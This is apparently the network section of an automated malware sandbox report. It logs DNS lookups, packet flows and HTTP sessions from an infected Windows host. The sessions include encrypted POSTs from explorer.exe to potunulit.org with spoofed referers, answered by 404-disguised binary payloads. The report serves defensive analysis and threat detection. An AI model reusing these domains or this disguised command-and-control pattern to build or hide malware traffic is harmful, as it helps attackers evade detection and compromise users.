Jan 25, 2023 09:44:47.496439934 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.496462107 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.496488094 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.496505022 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.497662067 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.497746944 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.497751951 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.497776031 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.497814894 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.497853994 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.516323090 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.516457081 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.516453028 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.516496897 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.516541004 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.516571045 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.516967058 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.517055035 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.517066002 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.517091036 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.517134905 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.517154932 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.517321110 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.517430067 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.517431021 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.517462015 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.517496109 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.517515898 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.517683983 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.517780066 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.517780066 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.517810106 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.517853022 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.517874956 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.518084049 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.518166065 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.518183947 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.518217087 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.518249989 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.518265963 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.518382072 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.518460035 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.518469095 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.518486023 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.518518925 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.518549919 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.518618107 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.518716097 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.518721104 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.518745899 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.518799067 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.518820047 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.518924952 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.519001961 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.519018888 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.519040108 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.519062996 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.519087076 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.519107103 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.519243002 CET	443	49749	144.76.136.153	192.168.2.3
Jan 25, 2023 09:44:47.519305944 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:47.526210070 CET	49749	443	192.168.2.3	144.76.136.153
Jan 25, 2023 09:44:49.683819056 CET	49760	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:49.712800980 CET	80	49760	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:49.712943077 CET	49760	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:49.715501070 CET	49760	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:49.742872000 CET	80	49760	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:49.745841980 CET	80	49760	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:49.749851942 CET	49760	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:49.778510094 CET	80	49760	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:49.778681040 CET	49760	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:49.805865049 CET	80	49760	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:49.806351900 CET	80	49760	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:49.811691046 CET	49760	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:49.838310003 CET	80	49760	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:49.838447094 CET	49760	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:49.865268946 CET	80	49760	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:49.865772963 CET	80	49760	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:49.875559092 CET	49760	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:49.943711042 CET	80	49760	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:49.943804979 CET	49760	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:49.970340014 CET	80	49760	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:49.971036911 CET	80	49760	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:50.026124954 CET	49760	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:55.247864962 CET	49760	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:55.274681091 CET	80	49760	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:55.276283026 CET	49760	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:55.302928925 CET	80	49760	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:55.406402111 CET	80	49760	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:55.406548023 CET	80	49760	109.206.243.168	192.168.2.3
Jan 25, 2023 09:44:55.406708956 CET	49760	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:55.444889069 CET	49760	80	192.168.2.3	109.206.243.168
Jan 25, 2023 09:44:55.472418070 CET	80	49760	109.206.243.168	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 25, 2023 09:42:40.423273087 CET	52387	53	192.168.2.3	8.8.8.8
Jan 25, 2023 09:42:40.444751024 CET	53	52387	8.8.8.8	192.168.2.3
Jan 25, 2023 09:42:51.505464077 CET	60625	53	192.168.2.3	8.8.8.8
Jan 25, 2023 09:42:51.526386976 CET	53	60625	8.8.8.8	192.168.2.3
Jan 25, 2023 09:42:54.005945921 CET	49302	53	192.168.2.3	8.8.8.8
Jan 25, 2023 09:42:54.027677059 CET	53	49302	8.8.8.8	192.168.2.3
Jan 25, 2023 09:44:45.958540916 CET	56042	53	192.168.2.3	8.8.8.8
Jan 25, 2023 09:44:45.976910114 CET	53	56042	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 25, 2023 09:42:40.423273087 CET	192.168.2.3	8.8.8.8	0x660e	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
Jan 25, 2023 09:42:51.505464077 CET	192.168.2.3	8.8.8.8	0x75b7	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Jan 25, 2023 09:42:54.005945921 CET	192.168.2.3	8.8.8.8	0xecc7	Standard query (0)	gekjegoudn6i5fbces.jomf6mtobkl32eai1qwqxsxpnfyv2s	A (IP address)	IN (0x0001)	false
Jan 25, 2023 09:44:45.958540916 CET	192.168.2.3	8.8.8.8	0x10	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 25, 2023 09:42:40.444751024 CET	8.8.8.8	192.168.2.3	0x660e	No error (0)	potunulit.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 25, 2023 09:42:40.444751024 CET	8.8.8.8	192.168.2.3	0x660e	No error (0)	potunulit.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 25, 2023 09:42:51.526386976 CET	8.8.8.8	192.168.2.3	0x75b7	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
Jan 25, 2023 09:42:54.027677059 CET	8.8.8.8	192.168.2.3	0xecc7	Name error (3)	gekjegoudn6i5fbces.jomf6mtobkl32eai1qwqxsxpnfyv2s	none	none	A (IP address)	IN (0x0001)	false
Jan 25, 2023 09:44:45.976910114 CET	8.8.8.8	192.168.2.3	0x10	No error (0)	transfer.sh		144.76.136.153	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.2ip.ua

transfer.sh

dipcj.net

potunulit.org

pdujeftq.com

lmkympntg.net

khpcnlkw.net

avuxv.net

hdmcxxriay.org

mgqyrb.net

efxdannslj.org

scyxiteu.org

opfakis.org

ntishu.org

biwrdybrv.net

109.206.243.168

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49730	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\2560.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49749	144.76.136.153	443	C:\Windows\System32\dllhost.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49728	188.114.97.3	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 25, 2023 09:42:40.470671892 CET	464	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dipcj.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 231 Host: potunulit.org
Jan 25, 2023 09:42:40.470772028 CET	464	OUT	Data Raw: 48 9d 8e bb 4a 67 56 22 5d 72 20 52 79 ac 51 cb 28 6a 9c 13 8b 1d d9 ac bc 6a ab 87 72 f6 d1 97 8e a8 80 be 73 42 95 c5 d2 2b 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 a7 f1 58 a0 Data Ascii: HJgV"]r RyQ(jjrsB+jp_S61oJf=B!bOXn~3=CO3fHec6eEOA4qZ)zIMU#;=jx6R/ru/p.dZ"5s@Sb3~;q2
Jan 25, 2023 09:42:40.614130974 CET	465	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Jan 2023 08:42:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CQZ7%2FMq01DA5TdI%2FaoZLK6EiQfZ7IOe%2FPiwNNI62pTzzn4sd09zdQp4Chc4MExXknBoXofsythMK2HQeAXjN5iwxrvmvM85WBjZ31VAJabM%2B%2B1JRLGnYcS0T3ZkiiHXp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 78efb782fcd8bb86-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 37 0d 0a 03 00 00 00 1f 3d 53 0d 0a Data Ascii: 7=S
Jan 25, 2023 09:42:40.614201069 CET	465	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jan 25, 2023 09:42:40.626651049 CET	465	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pdujeftq.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 278 Host: potunulit.org
Jan 25, 2023 09:42:40.626651049 CET	466	OUT	Data Raw: 48 9d 8e bb 4a 67 56 22 5d 72 20 52 79 ac 51 cb 28 6a 9c 13 8b 1d d9 ac bc 6a ab 87 72 f6 d1 97 8e a8 80 be 73 42 95 c5 d2 2b 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 ba 8a 14 62 cd d6 4f 96 8b a0 13 fa Data Ascii: HJgV"]r RyQ(jjrsB+jp_S61oJf=B!bOr%96jr\p9)">&xMSmVwSS1p@swMCor1^ QUK5mRxFC (Vx1U*-Nl
Jan 25, 2023 09:42:40.706640005 CET	466	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Jan 2023 08:42:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=zoyL3JudZkxZGPyajwHhYJEt3MKJA3JSJb4BXulJtXBgyn8pI2DVSzz8P%2BLJP3HaRB8FQvbrNMJOQVg8YDFZFLUamCzFLjjHXr4p5qcKSObg%2F%2F9TN24f615v3InmkfBS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 78efb783fe73bb86-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Jan 25, 2023 09:42:40.706765890 CET	468	IN	Data Raw: 33 37 61 66 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 f5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 Data Ascii: 37af`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShG*:#j<dkR2B%v!wPmLfX=5p0fshkly3Ob>!Z:V?sB
Jan 25, 2023 09:42:40.706834078 CET	469	IN	Data Raw: 67 a1 69 80 de 24 4c 84 58 92 3d c4 95 36 95 1a f4 37 ad 2a 89 3d 7f f3 34 dd f7 1a 4a 21 c6 4f c9 e9 d5 07 f1 f3 f5 5a 50 c8 4f 42 47 92 4d c9 81 f4 d9 c3 00 e8 4b 31 75 d1 02 37 8b ce c7 f7 17 9f ed e5 b1 80 43 8b ff e6 db fc 53 d7 47 4a a5 b2 Data Ascii: gi$LX=67=4J!OZPOBGMK1u7CSGJ!c]]0/=DfW}J -PL,_P+FE(l y&ZN;a_\|T&i]w'}%-9e<K9o(SClynK>%
Jan 25, 2023 09:42:40.706881046 CET	470	IN	Data Raw: aa dc 4d 9f da 04 4c b6 dd 01 14 f2 2a d8 2d e1 1b c3 1d 53 fb 11 ff fa 3c 86 41 95 18 46 8e 2e 71 5a a8 25 62 98 c0 e5 0c e0 33 79 2b b8 b0 2a 68 ad 80 fb e2 95 fa 81 94 6c d0 59 dc 02 96 48 0b 60 b0 f8 f5 dd d9 1d 4a 8a ea 22 03 1a 65 5c a6 a1 Data Ascii: ML-S<AF.qZ%b3y+hlYH`J"e\E?zKBVxS1Zs4.:~%lJiWP*Cim&(#<cl6OoPSElZ-T^~f@@CEks%k_Ij=wvAZ$">Dl
Jan 25, 2023 09:42:40.706928015 CET	472	IN	Data Raw: d7 d4 12 78 d1 a6 5a 5b 71 23 d5 2b 49 28 69 a4 09 90 e1 3e b4 26 7c 57 20 8e 2d 2f 8b 8f 49 a2 7b 7a 13 8b 38 31 1a 80 8b 69 82 f9 66 23 4b 79 a7 07 20 5e 11 2f 77 d8 8e b7 d3 86 7b 99 68 80 46 3f e7 21 f1 c7 3d 0a 0c ca 23 f1 97 39 91 ce 92 81 Data Ascii: xZ[q#+I(i>&\|W -/I{z81if#Ky ^/w{hF?!=#9W?t^,p1 K/G#B;gui:4y}R ad>6{'*0:e(db26lP:W6d.5u\{\@qecSN;~]iyt
Jan 25, 2023 09:42:40.706974030 CET	473	IN	Data Raw: 78 9b 55 44 1c c6 7f be 24 a9 d7 a9 a4 a6 a7 bc 7b d8 1a 9d e1 e2 b5 b3 4b 00 af 98 06 0f 72 b0 c8 d1 96 4a 32 36 cb 45 be fa 5b 5e 83 0a 66 fd db 21 6a 71 cc 7d 90 3b 86 79 1c 59 0c 7a c6 2e 08 1b 4f ee 27 fc a6 2b 1c 46 8f 45 5f 5a 9b 9f 64 0f Data Ascii: xUD${KrJ26E[^f!jq};yYz.O'+FE_Zd@AkN$l+?[d?6$5._60zb.$zf'D;rXd,!!I1}^oXU#~\|<6wl?AbJ^2NR47
Jan 25, 2023 09:42:40.707020998 CET	474	IN	Data Raw: 43 8b a3 06 99 d8 12 f5 23 62 36 f0 3a fc 97 42 b6 55 1a 9b 42 a8 ec 99 59 90 7f b3 4b 9b d2 a5 5d 15 3a 63 19 71 53 7d 33 5d 78 fb 97 b7 4a ef e5 27 ea a7 77 fe 93 5f ee 68 71 c5 c6 46 ce 1f e0 7c bf e2 38 36 2b 45 72 73 30 40 44 e6 6b 35 70 1f Data Ascii: C#b6:BUBYK]:cqS}3]xJ'w_hqF\|86+Ers0@Dk5p(.`.-j0h}}s<psC]Wz}60Vw =+G7w%TJ+p%oO:X?fpB+yksJgA,TPF^]<K@QsnB'<-`'$Fk
Jan 25, 2023 09:42:40.707067013 CET	476	IN	Data Raw: 61 f4 f4 61 9e aa 91 77 95 43 a7 6b d2 b0 76 3a 49 c6 4d 5f 7f 0c 21 eb cb c3 6f 4f 21 ec cf a0 70 6c 2a 2e 83 b4 dc e2 48 bb 90 34 85 61 cd 66 d8 52 d3 36 55 70 40 34 b4 57 91 e4 a7 8f e0 c1 47 5c f2 82 99 20 13 34 f7 d8 69 40 58 c6 9b 50 87 2f Data Ascii: aawCkv:IM_!oO!pl*.H4afR6Up@4WG\ 4i@XP/ZtbJ\|gmCs)`jc{Px1NJ+#?}82Es#nqX9 w~R\/PPX/hf]O1klfzdm5e"pA
Jan 25, 2023 09:42:40.707113028 CET	477	IN	Data Raw: 1f b7 eb 34 5b 63 8e 3f 31 ea 05 00 fe 65 ce 42 2b 8f a5 0c 00 83 71 c7 dd ad f1 98 f7 1f 3f 02 0d f2 0e f4 08 70 4a 9e 73 64 9d 60 81 2e 53 dd bf fe e1 6f b2 71 6c bb 1b 79 b4 94 b2 7e 24 69 58 c4 e7 0a 07 fb a1 6f 73 2e 5e 5d 66 6f c8 30 a6 9c Data Ascii: 4[c?1eB+q?pJsd`.Soqly~$iXos.^]fo0Y/`9N<FRjFO:)mU\(ivFx4+U*}#bNN_dPvSRK17 6dow0-1Z><_\\|
Jan 25, 2023 09:42:40.707355976 CET	478	IN	Data Raw: b1 66 4a 03 29 eb c5 f1 bf e3 fe 97 df 92 c9 d5 78 7a 59 58 0d ac 9b 0b 52 2d e6 59 16 f1 45 9b 32 65 3c d5 ee 6e 57 1d 8e 33 ea a4 3f af a2 77 62 85 4e b1 6d ed 8f 76 54 66 ee 05 ce 15 d9 41 dc db 4a 76 80 5d ea 7a e3 38 f2 4a aa e3 6b 8d 7f 12 Data Ascii: fJ)xzYXR-YE2e<nW3?wbNmvTfAJv]z8JkJ)E[kgVUm<7CP!?WqPOcP2\|mk3@fb&1Ne25Y'QdFND87TKN2/A}DL~:i_W:
Jan 25, 2023 09:42:41.236877918 CET	902	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lmkympntg.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 242 Host: potunulit.org
Jan 25, 2023 09:42:41.237200975 CET	903	OUT	Data Raw: 48 9d 8e bb 4a 67 56 22 5d 72 20 52 79 ac 51 cb 28 6a 9c 13 8b 1d d9 ac bc 6a ab 87 72 f6 d1 97 8e a8 80 be 73 42 95 c5 d2 2b 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 ba 8a 14 62 cc d6 4f 96 80 d5 11 c7 Data Ascii: HJgV"]r RyQ(jjrsB+jp_S61oJf=B!bO)~^MFX)~QVP$m=9 N8Fc8WJ7Ybhs*upjk0}@Zh,%.lGCwc[X
Jan 25, 2023 09:42:41.318187952 CET	904	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Jan 2023 08:42:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Hbc9K3B9w1bmfEKveav6nsobKSLVwAthmn3oQf2v%2FkvykA%2BX0eE6xhWMlxQmMvPFA2E1IRVbyJHYnBROABF33uXRZh3VBOsL88mIlyf1N2%2BC%2Fp2rdxYdFxVMQum6EYS%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 78efb787ccb6bb86-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 6f 74 75 6e 75 6c 69 74 2e 6f 72 67 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at potunulit.org Port 80</address></body></html>
Jan 25, 2023 09:42:41.408245087 CET	904	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://khpcnlkw.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 246 Host: potunulit.org
Jan 25, 2023 09:42:41.408315897 CET	904	OUT	Data Raw: 48 9d 8e bb 4a 67 56 22 5d 72 20 52 79 ac 51 cb 28 6a 9c 13 8b 1d d9 ac bc 6a ab 87 72 f6 d1 97 8e a8 80 be 73 42 95 c5 d2 2b 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 bb 8a 14 62 cd d6 4f 96 99 c6 09 ed Data Ascii: HJgV"]r RyQ(jjrsB+jp_S61oJf=B!bO)(EFkGC/Y4]O:;0f=5/s%!G47t++(w%'&O.;M^T@6'vG$)sm8sZ
Jan 25, 2023 09:42:41.488686085 CET	906	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Jan 2023 08:42:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KwE7CRlUFwxaeFpr63THPJZ6fo3ugqGqcDWc2xxQ3gAOcqRTrUTncoQ0qD1RfOvJNYvSMfnyG89aY1ZMqpELOAW8kPzOAa8UxvpzNIkQnstdqtvM3xvsQRoHC3HidwNC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 78efb788de9cbb86-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 33 37 61 66 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 fd 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 90 eb 68 9f 89 74 7e f6 25 24 85 3a f9 b7 59 f9 62 25 fa d8 0d 89 b4 f0 f1 91 66 7b bf 47 5f 39 f9 de 64 4f 7a 6f 3b 4e 82 98 d3 36 d5 45 3d f4 19 00 51 75 34 16 51 22 3b a5 92 d7 d8 ce b7 49 00 7e ae ac c3 86 21 5f 36 f8 37 33 f2 25 75 da ed 05 70 b1 17 22 58 4a 33 4f 62 3e 15 21 0b 5a f3 43 93 3a 1a 3e c8 00 ba aa 8f 74 d7 07 53 53 fa cb 1f 9e fd 09 51 2a ee 8c 8a 7b 7e d7 f6 ff 78 d7 d5 d9 c4 0d 13 13 89 66 e1 92 24 18 4f c5 03 11 ca a1 61 7e 9e f5 69 a9 19 17 7e 5d af 9a a0 44 c9 a0 c1 b9 dd 7a 08 90 4e 19 e0 2c 95 a9 18 ba 74 94 be 21 51 61 46 d0 35 7c 8a 28 c8 c8 6b a1 d0 4a 9a 13 fd ec 9e aa 6b ac 87 3f bd 61 0d c0 5d bf 56 34 fd f8 12 6c 33 6c 29 7c 0a 8d eb 6b e5 0e c0 eb 7e 71 eb f0 74 18 38 b7 4a d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 57 3b 2a b9 72 ee cc 23 e2 67 0e 31 65 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f bb 93 cc 46 99 48 15 ac af eb d9 55 3d af ba 68 92 1e ff 9d 83 7e 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 33 44 77 29 f8 70 17 4b 65 fa de 8e 82 11 e8 e4 1f cc a0 90 4e a5 54 55 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 3e 54 ab 7e 08 19 